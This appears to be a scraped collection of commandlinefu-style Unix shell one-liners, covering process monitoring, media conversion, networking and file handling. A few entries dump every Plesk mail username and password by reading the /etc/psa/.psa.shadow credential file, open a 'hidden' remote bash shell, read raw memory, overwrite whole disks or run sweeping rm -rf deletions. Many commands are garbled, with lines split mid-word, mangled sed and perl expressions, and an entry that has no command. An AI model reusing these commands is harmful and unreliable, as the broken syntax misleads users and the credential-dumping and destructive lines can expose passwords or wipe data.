# rot13 simple substitution cipher via command line
alias rot13='perl -pe "y/A-Za-z/N-ZA-Mn-za-m/;"'

# Current running process ordered by %CPU
ps -eo pcpu,pid,args | sort -n

# To find the uptime of each process-id of particular service or process
ps -o etime `pidof firefox` |grep -v ELAPSED | sed 's/\s*/\s/g' | sed "s/\(.*\)-\(.*\):\(.*\):\(.*)/\1d \2h/; s/\(.*\):\(.*\):\(.*)/\1h \2m/;s/\(.*\):\(.*)/\1m \2s/"

# Email yourself a short note
quickemail() { echo "$*" | mail -s "$*" email@email.com; }

# Show in a web server, running in the port 80, how many ESTABLISHED connections
by ip it has.
netstat -ant | grep :80 | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n

# clean up syntax and de-obfuscate perl script
%! perl -MO=Deparse | perl tidy

# Convert (almost) any video file into webm format for online html5 streaming
ffmpeg -i input_file.avi output_file.webm

# Search commandlinefu.com from the command line using the API
curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n $@ | base64)/plaintext"

# Short and sweet output from dig(1)
alias ds='dig +noauthority +noadditional +noqr +nostats +noidentify +nocmd +noquestion +nocomments'

# Backup of a partition
cd /mnt/old && tar cvf - . | ( cd /mnt/new && tar xvf - )

# xargs for builtin bash commands
xargsb() { while read -r cmd; do ${@//'{'}/$cmd}; done; }

# Creates a symbolic link or overwrites an existing one
ln -nvfs /source /destination

# display contents of a file w/o any comments or blank lines
egrep '^[^#]' some_file
```

```
# Send a signed and encrypted email from the command line
echo "SECRET MESSAGE" | gpg -e --armor -s | sendmail USER@DOMAIN.COM

# which process is accessing the CDROM
lsof -n | grep /media/cdrom

# kills rapidly spawning processes that spawn faster than you can repeat the kill
lall command
alias a=" killall rapidly_spawning_process"; a; a; a;

# Search manpages for a keyword
man -k <keyword>

# from the console, start a second X server
xinit -- :1

# Faster find and move using the find and xargs commands. Almost as fast as locate.
find . -maxdepth 2 -name "*somepattern" -print0 | xargs -0 -I "{}" echo mv "{}"
/destination/path

# Send your terminfo to another machine
infocmp rxvt-unicode | ssh 10.20.30.40 "mkdir -p .terminfo && cat >/tmp/ti && tic
c /tmp/ti"

# Live filter a log file using grep and show x# of lines above and below
tail -f <filename> | grep -C <# of lines to show above and below> <text>

# Watch contents of a file grow
tail -n 0 -f /var/log/messages

# DVD to YouTube ready watermarked MPEG-4 AVI file using mencoder (step 2)
mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac copy -ovc 1
avc -lavcopts vcodec=mpeg4 -vf scale=320:-2,expand=:240:::1 -ffourcc xvid -o out
put.avi dvd.avi

# Merge video files together using mencoder (part of mplayer)
mencoder -oac copy -ovc copy part1.avi part2.avi part3.avi -o full_movie.avi

# Remove several files with ease
rm file{1..10}

# Pulls email password out of Plesk database for given email address.
mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password
FROM accounts JOIN mail ON accounts.id=mail.account_id WHERE mail.mail_name='we
bmaster';"

# Grab all .flv files from a webpage to the current working directory
wget `lynx -dump http://www.ebow.com/ebowtube.php | grep .flv$ | sed 's/[[:blank
:]]\+[[[:digit:]]\+\.\ //g`

# Extract title from HTML files
sed -n 's/.*<title>\(.*)<\</title>.*\/\1/ip;T;q' file.html

# List all packages by installed size (Bytes) on rpm distros
rpm -q -a --qf '%10{SIZE}\t%{NAME}\n' | sort -k1,1n

# Generate a list of installed packages on Debian-based systems
dpkg -l
```

```

# List manually installed packages (excluding Essentials)
aptitude search '!~E' | grep -v "i A" | cut -d " " -f 4

# Display summary of git commit ids and messages for a given branch
git log master | awk '/commit/ {id=$2} /\s+\w+/ {print id, $0}'

# date offset calculations
date --date="1 fortnight ago"

# Sum size of files returned from FIND
find [path] [expression] -exec du -ab {} \; | awk '{total+=$0}END{print total}'

# Read PDFs in the command line
pdftohtml -i -stdout FILE.pdf | w3m -T text/html

# Stopwatch, simple text, hh:mm:ss using Unix Time
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$((T-I));hours=$((E / 3600));seconds=$((E % 3600));minutes=$((seconds / 60));seconds=$((seconds % 60));echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds)'

# Extract all 7zip files in current directory taking filename spaces into account
for file in *.7z; do 7zr e "$file"; done

# Measure, explain and minimize a computer's electrical power consumption
sudo powertop

# Show top running processes by the number of open filehandles they have
lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head

# Randomize lines (opposite of | sort)
random -f <file>

# Connect to TCP port 5000, transfer data and close connexion.
echo data | nc -q 0 host 5000

# Maximum PNG compression with optipng, advpng, and advdef
optipng -o3 *png && advpng -z -4 *png && advdef -z -4 *png

# find . -name
find . -name "*.txt" -exec sed -i "s/old/new/" {} \;

# "hidden" remote shell
ssh -T user@host /bin/bash -i

# Propagate X session cookies on a different user and login as that user
read -p 'Username: ' u;sudo -H -u $u xauth add $(xauth list|grep :$(echo ${DISPLAY: -4:2}));sudo su - $u

# grep -v with multiple patterns.
sed '/test/{/error\|critical\|warning/d}' somefile

# easily find megabyte eating files or directories
du -hs *|grep M|sort -n

# Kill any process with one command using program name
pkill <name>

# Join lines

```

```

perl -pe 'eof()||s/\n/<SOMETEXT>/g' file.txt

# Check reverse DNS
host {checkIp or hostname} [dns server]

# List your interfaces and MAC addresses
for f in /sys/class/net/*; do echo -e "$(basename $f)\t$(cat $f/address)"; done

# Kill any process with one command using program name
kill -9 `ps ax | egrep [f]elix.jar | egrep -o -e '^ *[0-9]+'`

# Screenshot pipe to remote host, adding URL to clipboard, notifying when done.
(without saving locally)
DATE=$(date +%Y-%m-%d_%H-%M-%S)-$((($date +%N)/1000000)); HOST=ssh_host; DEST=f
ile_dest; URL=url/screenshot_${DATE}.png; import -window root png:- | ssh $HOST "c
at > $DEST/screenshot_${DATE}.png"; echo $URL | xclip; notify-send -u low "Title"
"Message"

# checking space available on all /proc/mounts points (using Nagios check_disk)
check_disk -w 15% -c 10% $(for x in $(cat /proc/mounts |awk '{print $2}'); do e
cho -n " -p $x "; done)

# for all who don't have the watch command
watch() {t=$1; shift; while test :; do clear; date=$(date); echo -e "Every "$t"
s: $@ \t\t\t\t $date"; $@; sleep $t; done }

# limit the cdrom driver to a specified speed
eject -x 8 /dev/cdrom

# Sorted list of established destination connections
netstat | awk '/EST/{print $5}' | sort

# Print trending topics on Twitter
curl --silent search.twitter.com | sed -n '/div id="hot"/,/div/p' | awk -F\> '
{print $2}' | awk -F\< '{print $1}' | sed '/^$/d'

# Get the list of root nameservers for a given TLD
dig +short NS org.

# sudo for entire line (including pipes and redirects)
proceed_sudo () { sudor_command="`HISTTIMEFORMAT=\"%\" history 1 | sed -r -e 's/^
.*?sudor//' -e 's/\"/\"/g'`; sudo sh -c "$sudor_command"; }; alias sudor="pr
oceed_sudo # "

# Start screen with name and run command
screen -dmS "name_me" echo "hi"

# Execute a command with a timeout
$COMMAND 2>&1 >/dev/null & WPID=$!; sleep $TIMEOUT && kill $! & KPID=$!; wait $W
PID

# Joins args together using the first arg as glue
joinargs() { (IFS="$1"; shift && echo "$*") }

# Monitor Linux/MD RAID Rebuild
watch -n 5 -d cat /proc/mdstat

# Use ImageMagick to get an image's properties
identify -ping imageName.png

```



```

# Matrix Style
echo -e "\e[31m"; while $t; do for i in `seq 1 30`;do r="$[(($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done;

# use wget to check if a remote file exists
wget --spider -v http://www.server.com/path/file.ext

# Create black and white image
convert -colorspace gray face.jpg gray_face.jpg

# Youtube-dl gone stale on you/stopped working (Ubuntu)?
sudo youtube-dl -U

# Retrieve a random command from the commandlinefu.com API
lynx --dump http://www.commandlinefu.com/commands/random/plaintext | grep .

# files and directories in the last 1 hour
find ./* -ctime -1 | xargs ls -ltr --color

# Printing multiple years with Unix cal command
for y in $(seq 2009 2011); do cal $y; done

# When was your OS installed?
ls -ldct /lost+found |awk '{print $6, $7}'

# gets all files committed to svn by a particular user since a particular date
svn log -v -r{2009-05-21}:HEAD | awk '/^r[0-9]+ / {user=$3} /yms_web/ {if (user="george") {print $2}}' | sort | uniq

# Downsample mp3s to 128K
for f in *.mp3 ; do lame --mp3input -b 128 "$f" ./resamp/"$f" ; done

# rsync over ssh via non-default ssh port
rsync -e 'ssh -p PORT' user@host:SRC DEST

# floating point operations in shell scripts
echo "scale=4; 3 / 5" | bc

# locate bin, src, and man file for a command
whereis somecommand

# Remove Backup Files
find / -name *~ -delete

# dont execute command just add it to history as a comment, handy if your command is not "complete" yet
#command

# Show this month's calendar, with today's date highlighted
cal | grep --before-context 6 --after-context 6 --color -e " $(date +%e)" -e "^$(date +%e)"

# Mount a partition from dd disk image
mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path

# Google URL shortener
curl -s 'http://ggl-shortener.appspot.com/?url='"$1" | sed -e 's/{"short_url":"/' -e 's/"}\n/g'

```

```
# list files in mtime order
ls -lt | more

# pretend to be busy in office to enjoy a cup of coffee
export GREP_COLOR='1;32'; cat /dev/urandom | hexdump -C | grep --color=auto "ca
fe"

# Converts uppercase chars in a string to lowercase
echo StrinG | tr '[:upper:]' '[:lower:]'

# Simple server which listens on a port and prints out received data
ncat -l portnumber

# Get ssh server fingerprints
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub && ssh-keygen -l -f /etc/ssh/ssh_
host_dsa_key.pub

# kde4 lock screen command
qdbus org.freedesktop.ScreenSaver /ScreenSaver Lock

# untar undo
tar tfz filename.tgz |xargs rm -Rf

# Random number generation within a range N, here N=10
echo $(( $RANDOM % 10 + 1 ))

# a find and replace within text-based files, for batch text replacement, not us
ing perl
sed -i -e 's/SEARCH_STRING/REPLACE_STRING/g' `find . -iname 'FILENAME'`

# Query Wikipedia via console over DNS
mwiki() { dig +short txt "$*".wp.dg.cx; }

# Disable WoL on eth0
sudo ethtool -s eth0 wol d

# Change Random Wallpaper on Gnome 3
gsettings set org.gnome.desktop.background picture-uri file://"$(find ~/Wallpape
rs -type f | shuf -n1)"

# show all programs connected or listening on a network port
alias nsl 'netstat -f inet | grep -v CLOSE_WAIT | cut -c-6,21-94 | tail +2'

# Colorize make, gcc, and diff output
colormake, colorgcc, colordiff

# List all groups and the user names that were in each group
for u in `cut -f1 -d: /etc/passwd`; do echo -n $u:; groups $u; done | sort

# Show the command line of a process that use a specific port (ubuntu)
cat /proc/$(lsof -ti:8888)/cmdline | tr "\0" " "

# reclaim your window titlebars (in ubuntu lucid)
gconftool -s -t string /apps/metacity/general/button_layout "menu:minimize,maxim
ize,close"

# Poor man's nmap for a class C network from rfc1918
( nw=192.168.0 ; h=1; while [ $h -lt 255 ] ; do ( ping -c2 -i 0.2 -W 0.5 -n $nw.
```

```

$h & ); h=$(( $h + 1 ) ; done ) | awk '/^64 bytes.*/' { gsub( ":", "" ); print $4 }
' | sort -u

# grep (or anything else) many files with multiprocessor power
find . -type f -print0 | xargs -0 -P 4 -n 40 grep -i foobar

# Make alias permanent fast
PERMA () { echo "$@" >> ~/.bashrc; }

# Download Entire YouTube Channel - all of a user's videos
yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/
uploads | grep -Eo "watch?v=[^[:space:]]\\\\"{11}" | uniq); do youtube-dl --ti
tle --no-overwrites http://youtube.com/"$i"; done }

# Generate a playlist of all the files in the directory, newer first
find . -type f -print0 | xargs -r0 stat -c %Y\ %n | sort -rn | gawk '{sub(/.\//,
"", $2); print $2}' > /tmp/playlist.m3u

# Generate random valid mac addresses
ruby -e 'puts (1..6).map{"%0.2X"%rand(256)}.join(":")'

# Execute a sudo command remotely, without displaying the password
stty -echo; ssh -t HOSTNAME "sudo some_command"; stty echo

# Watch Al Jazeera Livestream directly in mplayer #jan25
mplayer $(wget -q -O - "http://europarse.real.com/hurl/gratishurl.ram?pid=eu_al
jazeera&file=al_jazeera_en_lo.rm" | sed -e 's#lo.rm#hi.rm#')

# Go to the Nth line of file
sed -n 13p /etc/services

# Another way to calculate sum size of all files matching a pattern
find . -iname '*.jar' | xargs du -ks | cut -f1 | xargs echo | sed "s/ /+g" | bc

# Securely destroy data on given device
# for i in $(seq 1 25); do dd if=/dev/urandom of=<your disk> bs=1M ; done

# Display GCC Predefined Macros
gcc -dM -E - <<<'

# Delete files if not have some extension
ls -l |grep -v .jpg |xargs rm

# backup local MySQL database into a folder and removes older then 5 days backup
s
mysqldump -uUSERNAME -pPASSWORD database | gzip > /path/to/db/files/db-backup-`d
ate +%Y-%m-%d`.sql.gz ;find /path/to/db/files/* -mtime +5 -exec rm {} \;

# Run a bash script in debug mode, show output and save it on a file
bash -x script.sh 2> log

# preserve disk; keep OS clean
ram() { for i in /tmp /altroot;do mount -t tmpfs tmpfs $i;done&& for i in /var /
root /etc $HOME; do find -d $i |cpio -pdmv /tmp&& mount -t tmpfs tmpfs $i&& mv -
v /tmp$i/* $i&& rm -vrf /tmp$i ; done ;} usage: (in rc sequence) ram

# Create a listing of all possible permissions and their octal representation.
touch /tmp/$$;for N in `seq -w 0 7777|grep -v [89]`; do chmod $N /tmp/$$;
P=`ls -l /tmp/$$ | awk '{print $1}'`; echo $N $P; done;rm /tmp/$$

```

```

# Converting video file (.flv, .avi etc.) to .3gp
ffmpeg -i input.avi -s qcif -vcodec h263 -r 20 -b 180k -acodec libfaac -ab 64k -
ac 2 -ar 22050 output.3gp

# Download Youtube Playlist
y=http://www.youtube.com;for i in $(curl -s $f|grep -o "url='$y/watch?v=[^']*'"
);do d=$(echo $i|sed "s|url\|='$y/watch?v=\(.*\)\&.*'\|1|");wget -O $d.flv "$y/get_
video.php?video_id=$d&t=$(curl -s "$y/watch?v=$d"|sed -n 's/. * "t": "\([^"]*\)",
.*\|1/p)";done

# High resolution video screen recording
gorecord() { if [ $# != 1 ]; then echo 'gorecord video.mp4' return f
i ffmpeg -f x11grab -s <resolution> -r 25 -i :0.0 -sameq -vcodec mpeg4 "$1"
}

# ncd - ncurses disk usage
ncdu directory_name

# Copy via tar pipe while preserving file permissions (cp does not!; run this co
mmand with root!)
cp -pr olddirectory newdirectory

# List bash functions defined in .bash_profile or .bashrc
declare -F | cut -d ' ' -f 3

# Fill a hard drive with ones - like zero-fill, but the opposite :)
tr '\000' '\377' < /dev/zero | dd bs=512 count=200000 status=noxfer | pipebench
| sudo dd of=/dev/sdx

# Create patch file for two directories
diff -r -u originDir updateDir > result.patch

# Monitoring wifi connection by watch command (refresh every 3s), displaying iw
dump info and iwconfig on wireless interface "wlan0"
watch -d -n 3 "iw dev wlan0 station dump; iwconfig wlan0"

# find external links in all html files in a directory list
find . -name '*.html' -print0| xargs -0 -L1 cat |sed "s/[\"\<\>' \t\(\);]/\n/g"
|grep "http://" |sort -u

# Query an NFS host for its list of exports
/usr/sbin/showmount -e <host>

# Apply new patch for a directory (originDir)
patch -p0 -i result.patch

# Number of CPU's in a system
grep "processor" /proc/cpuinfo | wc -l

# diff files while disregarding indentation and trailing white space
diff <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file1) <(perl -wpl -e '$_ =~ s/^\s+
|\s+$//g ;' file2)

# Get an IP address out of fail2ban jail
iptables -D fail2ban-SSH -s <ip_address_to_be_set_free> -j DROP

# Copy structure
structcp(){ ( mkdir -pv $2;f="$$(realpath "$1")";t="$$(realpath "$2")";cd "$f";fin
d * -type d -exec mkdir -pv $t/{ } \;);}

```

```

# Remove all backup files in my home directory
find ~user/ -name "*~" -exec rm {} \;

# print file without duplicated lines usind awk
awk '!($0 in a) {a[$0];print}' file

# List of all vim features
vim --version | grep -P '^(\+|\-)' | sed 's/\s/\n/g' | grep -Pv '^ ?$'

# backup directory. (for bash)
cp -pr directory-you-want-to-backup{,_"`date +%Y%m%d`"} # for bash

# Make a ready-only filesystem ?writeable? by unionfs
mount -t unionfs -o dirs=/tmp/unioncache=rw:/mnt/readonly=ro unionfs /mnt/unionf
s

# a for loop with filling 0 format, with seq
for i in `seq -f %03g 5 50 111`; do echo $i ; done

# Batch rename extension of all files in a folder, in the example from .txt to .
md
for f in *.txt;do mv ${f%txt}{txt,md}; done

# df without line wrap on long FS name
df -PH|column -t

# Optimize Xsane PDFs
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=test.pdf m
ultipageproject.pdf

# Quick notepad
cat > list -

# Get your X11 screen mode
xrandr | grep \*

# Get your internal IP address and nothing but your internal IP address
ifconfig $devices | grep "inet addr" | sed 's/.*inet addr:\([0-9\.]*\).*\/\1/g'

# concatenate avi files
avimerge -o output.avi -i file1.avi file2.avi file3.avi

# add all files not under version control to repository
svn add . --force

# strips the first field of each line where the delimiter is the first ascii cha
racter
cut -f2 -d`echo -e '\x01'` file

# Go up multiple levels of directories quickly and easily.
cd() { if [[ "$1" =~ ^\.\.+ ]];then local a dir;a=${#1};while [ $a -ne 1 ];do d
ir=${dir}"../";((a--));done;builtin cd $dir;else builtin cd "$@";fi ;}

# Get all ip address for the host
hostname -I

# Command line calculator
awk "BEGIN{ print $* }"

```

```

# Show number of NIC's, ports per nic and PCI address
lspci | grep Ether | awk '{ VAR=$1; split(VAR,ARR,"."); count[ARR[1]]++; LINE=$0
; split(LINE,LINEARR,":"); LINECOUNT[ARR[1]]=LINEARR[3]; } END { for(i in count)
{ printf("PCI address: %s\nPorts: %d\nCard Type: %s\n", i, count[i], LINECOUNT[
i]) } }'

# Finding the number of cpu's
grep -c -e '^cpu[0-9]\+' /proc/stat

# Compare an archive with filesystem
tar dfz horde-webmail-1.2.3.tar.gz

# monitor network traffic and throughput in real time
iptraf

# Find out current working directory of a process
eval ls -l /proc/{$(pgrep -d, COMMAND)}/cwd

# Find writable files
find -writable

# Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, th
en bytes.
dh() { du -ch --max-depth=1 "${@-}"|sort -h }

# Show the disk usage for files pointed by symbolic link in a directory
find /usr/lib -maxdepth 1 -type l -print0 | xargs -r0 du -Lh

# Find files containing string and open in vim
vim $(grep test *)

# Get Cookies from bash
a="www.commandlinefu.com";b="/index.php";for n in $(seq 1 7);do echo -en "GET $b
HTTP/1.0\r\nHost: \"$a\"\r\n\r\n" |nc $a 80 2>&1 |grep Set-Cookie;done

# List only the directories
ls -l | egrep ^d

# Run remote web page, but don't save the results
wget -O /dev/null http://www.google.com

# Getting ESP and EIP addresses from running processes
ps ax --format=pid,eip,esp,user,command

# Generate random password
randpw(){ < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;}

# What is my public IP-address?
wget -qO- ifconfig.me/ip

# Mouse Tracking
while true; do xdotool getmouselocation | sed 's/x:\(.*\) y:\(.*\) screen:.*\/\1,
\2/' >> ./mouse-tracking; sleep 10; done

# Add thousand separator with sed, in a file or within pipe
sed -e :a -e 's/\([0-9]\{3\}\)/\1,\2/;ta' filename

# Mysql uptime

```

```

mysql -e"SHOW STATUS LIKE '%uptime%'"|awk '/ptime/{ calc = $NF / 3600;print $(NF
-1), calc"Hour" }'

# Check if running in an X session
if [ ! -z "${DISPLAY}" ]; then someXcmd ; fi

# Convert all WMF images to SVG recursively ignoring file extension case
find . -type f -iname '*.wmf' | while read FILE; do FILENAME="${FILE%.*}"; wmf2s
vg -o ${FILENAME}.svg $FILE; done

# Get all mac address
ifconfig -a| grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'

# system beep off
setterm -blength 0

# Google text-to-speech in mp3 format
p=$(echo "hello world, how r u?"|sed 's/ /+/g');wget -U Mozilla -q -O - "$@" tra
nslate.google.com/translate_tts?tl=en&q=$p|mpg123 -

# cd up a number of levels
function ..(){ for ((j=${1:-1},i=0;i<j;i++));do builtin cd ../;done;}

# Watch a movie in linux without the X windows system.
mplayer -vo fbdev -xy 1024 -fs -zoom /path/to/movie.avi

# ThePirateBay.org torrent search
wget -U Mozilla -qO - "http://thepiratebay.org/search/your_query_here/0/7/0" |
grep -o 'http://\./\./torrents\.\thepiratebay\.\org/\.*\.torrent'

# Calculating series with awk: add numbers from 1 to 100
seq 100 | awk '{sum+=$1} END {print sum}'

# Extract neatly a rar compressed file
unrar e file.part1.rar; if [ $? -eq 0 ]; then rm file.part*.rar; fi

# Convert a flv video file to avi using mencoder
mencoder -oac mp3lame -lameopts cbr=128 -ovc xvid -xvidencopts bitrate=1200 inpu
tfile.rmvb -o output.avi

# Encrypted archive with openssl and tar
openssl des3 -salt -in unencrypted-data.tar -out encrypted-data.tar.des3

# Mirror the NASA Astronomy Picture of the Day Archive
wget -t inf -k -r -l 3 -p -m http://apod.nasa.gov/apod/archivepix.html

# Efficient remote forensic disk acquisition gpg-crypted for multiple recipients
dd if=/dev/sdb | pigz | gpg -r <recipient1> -r <recipient2> -e --homedir /home/t
o/.gnupg | nc remote_machine 6969

# output the contents of a file removing any empty lines including lines which c
ontain only spaces or tabs.
sed -e '/^[<space><tab>]*$/d' somefile

# memcache affinity: queries local memcached for stats, calculates hit/get ratio
and prints it out.
echo -en "stats\r\n" "quit\r\n" | nc localhost 11211 | tr -s [[:cntrl:]] " " | cut
-f42,48 -d" " | sed "s/\([0-9]*\)\s\([0-9]*\)/ \2\/\1*100/" | bc -l

```

```

# How to pull out lines between two patterns
perl -0777 -ne 'print "$1\n" while /word-a(.*)word-b/gs' filename.txt

# List commands with a short summary
find `echo "${PATH}" | tr ':' ' ' ` -type f | while read COMMAND; do man -f "${COM
MAND##*/}"; done

# Show all usernames and passwords for Plesk email addresses
mysql -uadmin -p` cat /etc/psa/.psa.shadow` -Dpsa -e"select mail_name,name,passw
ord from mail left join domains on mail.dom_id = domains.id inner join accounts
where mail.account_id = accounts.id;"

# Create package dependency graph
apt-cache dotty PKG-NAME | dot -Tpng | display

# Show what a given user has open using lsof
lsof -u www-data

# Print stack trace of a core file without needing to enter gdb interactively
gdb --batch --quiet -ex "thread apply all bt full" -ex "quit" ${exe} ${corefile}

# Getting the last argument from the previous command
cd !$

# convert unixtime to human-readable
perl -e 'print scalar(gmtime(1234567890)), "\n"'

# Counts number of lines
find . \( -name '*.h' -o -name '*.cc' \) | xargs grep . | wc -l

# Unzip multiple files with one command
unzip '*.zip'

# Do a search-and-replace in a file after making a backup
perl -i'.bak' -pe 's/old/new/g' <filename>

# Return threads count of a process
ps -o thcount -p <process id>

# Lists installed kernels
dpkg --get-selections | grep linux-image

# Display rows and columns of random numbers with awk
seq 6 | awk '{for(x=1; x<=5; x++) {printf ("%f ", rand());} printf ("\n")}'

# Sort lines using the Xth characted as the start of the sort string
sort -k1.x

# check python syntax in vim
:!pylint -e %

# Do quick arithmetic on numbers from STDIN with any formatting using a perl one
liner.
perl -ne '$sum += $_ for grep { /\d+/ } split /[\^d\-.]+\;/; print "$sum\n"'

# Download media from *.rm from an url of type http://.../*.ram
wget <URL> -O- | wget -i -

# A fun thing to do with ram is actually open it up and take a peek. This comman
d will show you all the string (plain text) values in ram

```



```

strings /dev/mem|less

# Block all IP addresses and domains that have attempted brute force SSH login t
o computer
(bzcat BZIP2_FILES && cat TEXT_FILES) | grep -E "Invalid user|PAM" | grep -o -E
"from .+" | awk '{print $2}' | sort | uniq >> /etc/hosts.deny

# Search and replace text in all php files with ruby
ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php

# I finally found out how to use notify-send with at or cron
echo notify-send test | at now+1minute

# ssh autocomplete based on ~/.ssh/config
perl -ne 'print "$1 " if /^Host (.+)\$/' ~/.ssh/config

# Figure out what shell you're running
ps -p $$

# Kill all processes belonging to a user
ps -ef | grep $USERNAME | awk {'print $2'} | xargs kill [-9]

# Figure out your work output for the day
git diff --stat `git log --author="XXXXXX" --since="12 hours ago" --pretty=onelin
e | tail -n1 | cut -c1-40` HEAD

# easily convert one unit to another
units "2048 bytes" "kibibytes"

# display ip address
curl -s http://myip.dk | grep '<title>' | sed -e 's/<[^>]*>/g'

# Find the process you are looking for minus the grepped one
ps -ef | grep c\\ommand

# whois surfing my web ?
watch lsof -i :80

# Using PIPEs, Execute a command, convert output to .png file, upload file to im
gur.com, then returning the address of the .png.
imgur(){ convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d10
8209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo "<original>(.)*</origina
l>" | grep -Eo "http://i.imgur.com/[^<]*";}

# livehttpheaders (firefox addon) replacement
liveh(){ tcpdump -lnAs512 ${1-} tcp |sed ' s/.*GET /GET /;s/.*Host: /Host: /;s/.
*POST /POST /;/[GPH][EOo][TSs]!/d;w '"${2-liveh.txt}"' ' >/dev/null ;} # usage:
liveh [-i interface] [output-file] && firefox &

# burn a isofile to cd or dvd
cdrecord -v dev=/dev/cdrom yourimage.iso

# List all PostgreSQL databases. Useful when doing backups
psql -U postgres -lAt | gawk -F\| '$1 !~ /^template/ && $1 !~ /^postgres/ && NF
> 1 {print $1}'

# grep for tabs without using Ctrl-V trick
grep -P '\t' filename

```

```

# Creating ISO Images from CDs/DVDs
dd if=/dev/cdrom of=~cd_image.iso

# Print all 256 colors for testing TERM or for a quick reference
( x=`tput op` y=`printf %$(( ${COLUMNS}-6 ))s`;for i in {0..256};do o=00$i;echo -e
  ${o:${#o}-3:3} `tput setaf $i;tput setab $i`$y// /=}$x;done; )

# Convert one file from ISO-8859-1 to UTF-8.
iconv --from-code=ISO-8859-1 --to-code=UTF-8 iso.txt > utf.txt

# Produces a list of when your domains expire
cat domainlist.txt | while read line; do echo -ne $line; whois $line | grep Exp
  iration ; done | sed 's:Expiration Date::'

# Add 10 random unrated songs to xmms2 playlist
xmms2 mlib search NOT +rating | grep -r '^[0-9]' | sed -r 's/^\([0-9]+\).*\/\1/' |
  sort -R | head | xargs -L 1 xmms2 addid

# Enable programmable bash completion in debian lenny
aptitude install bash-completion ; source /etc/bash_completion

# analyze traffic remotely over ssh w/ wireshark
mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@r
  emotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wiresha
  rk -k -i /tmp/fifo;

# Set a posix shell to echo all commands that it's about to execute, after all e
  xpansions have been done.
set -x

# BackTrack Repos
sudo apt-add-repository 'deb http://archive.offensive-security.com pwnsauce main
  microverse macroverse restricted universe multiverse' && wget -q http://archive
  .offensive-security.com/backtrack.gpg -O- | sudo apt-key add -

# find largest file in /var
find /var -mount -ls -xdev | /usr/bin/sort -nr +6 | more

# Is it a terminal?
isatty(){ test -t $1; }

# Extract audio from Mythtv recording to Rockbox iPod using ffmpeg
ffmpeg -ss 0:58:15 -i DavidLettermanBlackCrowes.mpg -acodec copy DavidLettermanB
  lackCrowes.ac3

# print crontab entries for all the users that actually have a crontab
for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null
  2>&1; if [ ! ${?} -ne 0 ]; then echo -en "---- crontab for ${USER} ----\n$(crontab
  -u ${USER} -l)\n"; fi; done

# Mac OS X: remove extra languages to save over 3 GB of space.
sudo find / -iname "*.lproj" -and \! -iname "en*" -print0 | tee /dev/stderr | su
  do xargs -0 rm -rfv

# An alarm clock using xmms2 and at
at 6:00 <<< "xmms2 play"

# List all Windows services on the command line
sc queryex type= service state= all | find "_NAME"

```

```

# Recursively lists all files in the current directory, except the ones in '.sna
pshot' directory
find . -wholename './.snapshot' -prune -o -print

# List the CPU model name
grep "model name" /proc/cpuinfo

# left-right mouse buttons (left-handed)
xmodmap -e "pointer = 3 2 1"

# Happy Days
echo {1..3}" o'clock" ROCK

# Using column to format a directory listing
(printf "PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME\n" \ ; ls
-l | sed 1d) | column -t

# Print a row of 50 hyphens
perl -le'print "-"x50'

# Send a backup job to a remote tape drive on another machine over SSH
tar cvzf - /directory/ | ssh root@host "cat > /dev/nst0"

# Go to the next sibling directory in alphabetical order, version 2
cd ../"${ls -F ..|grep '/'|grep -A1 `basename $PWD`|tail -n 1}"

# Print the 10 deepest directory paths
find . -type d | perl -nle 'print s,//,g," $_" | sort -n | tail

# Short one line while loop that outputs parameterized content from one file to
another
awk '{print $1}' < three-column.txt > first-column.txt

# To get internet connection information .
sudo /bin/netstat -tpe

# umount all nfs mounts on machine
umount -a -t nfs

# replace XX by YY in the the current directory and cd to it. ( in ZSH )
cd XX YY

# Change the extension of a filename by using rename to convert
rename .JPG .jpg *.JPG

# Remove duplicate rows of an un-sorted file based on a single column
awk '{ if ($1 in stored_lines) x=1; else print; stored_lines[$1]=1 }' infile.txt
> outfile.txt

# lotto generator
shuf -i 1-49 -n 6 | sort -n | xargs

# load changes without logging in and out vim
:source ~/.vimrc

# Remove duplicate rows of an un-sorted file based on a single column
perl -ane 'print unless $x{${F[0]}++}' infile > outfile

# Archive a directory with datestamp on filename

```

```
tar zcvf somedir-$(date +%Y%m%d-%H%M).tar.gz somedir/

# Watch the size of a directory using figlet
watch -n1 "du -hs /home/$USER | cut -f1 -d'/' | figlet -k"

# Remove all .svn folders
find . -name .svn -type d -exec rm -rf '{}' +

# Efficiently extract lines between markers
sed -n '/START/,${/STOP/q;p}'

# Move all but the newest 100 emails to a gzipped archive
find $MAILDIR/ -type f -printf '%T@ %p\n' | sort --reverse | sed -e '{ 1,100d; s
/[0-9]*\.[0-9]* \(.*\)/\1/g }' | xargs -i sh -c "cat {}&&rm -f {}" | gzip -c >>A
RCHIVE.gz

# calculate established tcp connection of local machine
netstat -an|grep -ci "tcp.*established"

# Add a line to a file using sudo
echo "foo bar" | sudo tee -a /path/to/some/file

# On Mac OS X, runs System Profiler Report and e-mails it to specified address.
